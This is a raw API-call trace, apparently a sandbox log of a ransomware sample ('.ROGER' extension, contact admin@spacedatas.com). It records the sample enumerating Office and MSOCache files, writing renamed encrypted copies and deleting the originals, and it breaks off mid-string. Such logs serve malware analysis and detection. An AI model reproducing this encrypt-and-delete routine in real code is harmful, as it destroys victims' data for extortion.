[0062.943] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.943] lstrlenW (lpString=".jpg") returned 4 [0062.943] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.943] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0062.943] lstrlenW (lpString="OSetupPS.dll") returned 12 [0062.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.944] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=47520) returned 1 [0062.944] CloseHandle (hObject=0x32c) returned 1 [0062.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0062.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.944] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.944] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0062.945] GetLastError () returned 0x0 [0062.945] ReadFile (in: hFile=0x32c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xb9a0, lpOverlapped=0x0) returned 1 [0063.004] WriteFile (in: hFile=0x3dc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xb9b0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xb9b0, lpOverlapped=0x0) returned 1 [0063.005] ReadFile (in: hFile=0x32c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.005] WriteFile (in: hFile=0x3dc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.005] SetEndOfFile (hFile=0x3dc) returned 1 [0063.008] CloseHandle (hObject=0x3dc) returned 1 [0063.008] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.008] SetEndOfFile (hFile=0x32c) returned 1 [0063.009] CloseHandle (hObject=0x32c) returned 1 [0063.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.009] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 1 [0063.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.011] lstrlenW (lpString=".doc") returned 4 [0063.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString=".docx") returned 5 [0063.011] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1 [0063.011] lstrlenW (lpString=".pdf") returned 4 [0063.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString=".xls") returned 4 [0063.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString=".xlsx") returned 5 [0063.011] lstrcmpiW (lpString1=".xlsx", lpString2="S.dll") returned -1 [0063.011] lstrlenW (lpString=".ppt") returned 4 [0063.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.011] lstrlenW (lpString=".zip") returned 4 [0063.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString=".rar") returned 4 [0063.011] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString=".bz2") returned 4 [0063.011] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.011] lstrlenW (lpString=".7z") returned 3 [0063.011] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.011] lstrlenW (lpString=".dbf") returned 4 [0063.011] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.011] lstrlenW (lpString=".1cd") returned 4 [0063.011] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.011] lstrlenW (lpString=".jpg") returned 4 [0063.011] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.012] lstrlenW (lpString=".doc") returned 4 [0063.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.012] lstrlenW (lpString=".docx") returned 5 [0063.012] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1 [0063.012] lstrlenW (lpString=".pdf") returned 4 [0063.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.012] lstrlenW (lpString=".xls") returned 4 [0063.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.012] lstrlenW (lpString=".xlsx") returned 5 [0063.012] lstrcmpiW (lpString1=".xlsx", lpString2="S.dll") returned -1 [0063.012] lstrlenW (lpString=".ppt") returned 4 [0063.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.012] lstrlenW (lpString=".zip") returned 4 [0063.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.012] lstrlenW (lpString=".rar") returned 4 [0063.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.012] lstrlenW (lpString=".bz2") returned 4 [0063.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.012] lstrlenW (lpString=".7z") returned 3 [0063.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.012] lstrlenW (lpString=".dbf") returned 4 [0063.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.012] lstrlenW (lpString=".1cd") returned 4 [0063.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0063.012] lstrlenW (lpString=".jpg") returned 4 [0063.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.013] lstrcmpiW (lpString1=".xrm-ms", lpString2=".ROGER") returned 1 [0063.013] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0063.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0063.021] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=715834) returned 1 [0063.021] CloseHandle (hObject=0x32c) returned 1 [0063.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0063.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0063.060] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.060] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0063.060] GetLastError () returned 0x0 [0063.060] ReadFile (in: hFile=0x350, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0063.475] WriteFile (in: hFile=0x3dc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0063.490] ReadFile (in: hFile=0x350, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.490] WriteFile (in: hFile=0x3dc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x104, lpOverlapped=0x0) returned 1 [0063.490] SetEndOfFile (hFile=0x3dc) returned 1 [0063.490] CloseHandle (hObject=0x3dc) returned 1 [0063.491] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.491] SetEndOfFile (hFile=0x350) returned 1 [0063.496] CloseHandle (hObject=0x350) returned 1 [0063.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0063.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.497] lstrlenW (lpString=".doc") returned 4 [0063.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString=".docx") returned 5 [0063.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0063.497] lstrlenW (lpString=".pdf") returned 4 [0063.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString=".xls") returned 4 [0063.497] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString=".xlsx") returned 5 [0063.497] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0063.497] lstrlenW (lpString=".ppt") returned 4 [0063.497] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.497] lstrlenW (lpString=".zip") returned 4 [0063.497] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString=".rar") returned 4 [0063.497] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString=".bz2") returned 4 [0063.497] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString=".7z") returned 3 [0063.497] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0063.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.497] lstrlenW (lpString=".dbf") returned 4 [0063.497] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0063.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString=".1cd") returned 4 [0063.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString=".jpg") returned 4 [0063.498] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString=".doc") returned 4 [0063.498] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString=".docx") returned 5 [0063.498] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0063.498] lstrlenW (lpString=".pdf") returned 4 [0063.498] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString=".xls") returned 4 [0063.498] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString=".xlsx") returned 5 [0063.498] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0063.498] lstrlenW (lpString=".ppt") returned 4 [0063.498] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString=".zip") returned 4 [0063.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString=".rar") returned 4 [0063.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString=".bz2") returned 4 [0063.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString=".7z") returned 3 [0063.498] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString=".dbf") returned 4 [0063.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.498] lstrlenW (lpString=".1cd") returned 4 [0063.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0063.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0063.499] lstrlenW (lpString=".jpg") returned 4 [0063.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0063.499] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0063.499] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0063.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 19 os_tid = 0xaa8 [0036.997] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3362ff0 [0036.997] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x4da0048 [0036.998] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295618 [0036.998] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a2310 [0036.998] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295630 [0036.998] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4fa0020 [0036.998] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295648 [0036.998] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295648, Size=0x20) returned 0x806a18 [0036.998] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295648 [0036.998] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295648, Size=0x20) returned 0x8069c8 [0036.999] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.999] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.999] Wow64DisableWow64FsRedirection (in: OldValue=0x437ff58 | out: OldValue=0x437ff58*=0x0) returned 1 [0036.999] lstrlenW (lpString="kernel32.dll") returned 12 [0036.999] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.999] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.999] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.999] Sleep (dwMilliseconds=0x64) [0037.212] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.212] lstrlenW (lpString="Setup.xml") returned 9 [0037.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0037.514] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1886) returned 1 [0037.517] CloseHandle (hObject=0x378) returned 1 [0037.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0037.531] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.531] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0037.533] GetLastError () returned 0x0 [0037.533] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x75e, lpOverlapped=0x0) returned 1 [0037.994] WriteFile (in: hFile=0x37c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x760, lpOverlapped=0x0) returned 1 [0037.995] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.995] WriteFile (in: hFile=0x37c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.995] SetEndOfFile (hFile=0x37c) returned 1 [0037.995] CloseHandle (hObject=0x37c) returned 1 [0037.996] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.996] SetEndOfFile (hFile=0x378) returned 1 [0037.997] CloseHandle (hObject=0x378) returned 1 [0037.997] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0037.998] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.998] lstrlenW (lpString=".doc") returned 4 [0037.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString=".docx") returned 5 [0037.998] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.998] lstrlenW (lpString=".pdf") returned 4 [0037.998] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString=".xls") returned 4 [0037.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString=".xlsx") returned 5 [0037.998] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.998] lstrlenW (lpString=".ppt") returned 4 [0037.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.998] lstrlenW (lpString=".zip") returned 4 [0037.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.998] lstrlenW (lpString=".rar") returned 4 [0037.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString=".bz2") returned 4 [0037.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString=".7z") returned 3 [0037.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.998] lstrlenW (lpString="C:\\MSOCache\\All 